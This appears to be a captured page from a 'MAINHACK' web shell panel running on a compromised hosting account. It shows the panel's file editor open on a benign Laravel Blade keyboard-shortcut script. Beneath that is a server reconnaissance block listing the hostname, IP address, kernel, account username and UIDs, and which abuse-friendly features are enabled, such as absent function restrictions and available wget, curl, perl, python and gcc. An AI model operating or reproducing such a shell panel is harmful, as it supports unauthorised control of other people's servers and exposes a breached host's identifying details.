[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: keyboard_shortcuts.blade.php
<script type="text/javascript"> $(document).ready( function() { //Shortcuts to go recent product quantity @if(!empty($shortcuts["pos"]["recent_product_quantity"])) shortcut_length_prev = 0; shortcut_position_now = null; Mousetrap.bind('{{$shortcuts["pos"]["recent_product_quantity"]}}', function(e, combo) { var length_now = $('table#purchase_entry_table tr').length; if(length_now != shortcut_length_prev){ shortcut_length_prev = length_now; shortcut_position_now = length_now; } else { shortcut_position_now = shortcut_position_now - 1; } var last_qty_field = $('table#purchase_entry_table tr').eq(shortcut_position_now - 1).contents().find('input.purchase_quantity'); if(last_qty_field.length >=1){ last_qty_field.focus().select(); } else { shortcut_position_now = length_now + 1; Mousetrap.trigger('{{$shortcuts["pos"]["recent_product_quantity"]}}'); } }); //On focus of quantity field go back to search when stop typing // var timeout = null; // $('table#purchase_entry_table').on('focus', 'input.purchase_quantity', function () { // var that = this; // $(this).on('keyup', function(e){ // if (timeout !== null) { // clearTimeout(timeout); // } // var code = e.keyCode || e.which; // if (code != '9') { // timeout = setTimeout(function () { // $('input#search_product').focus().select(); // }, 5000); // } // }); // }); @endif //shortcut to go to add new products @if(!empty($shortcuts["pos"]["add_new_product"])) Mousetrap.bind('{{$shortcuts["pos"]["add_new_product"]}}', function(e) { $('input#search_product').focus().select(); }); @endif }); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285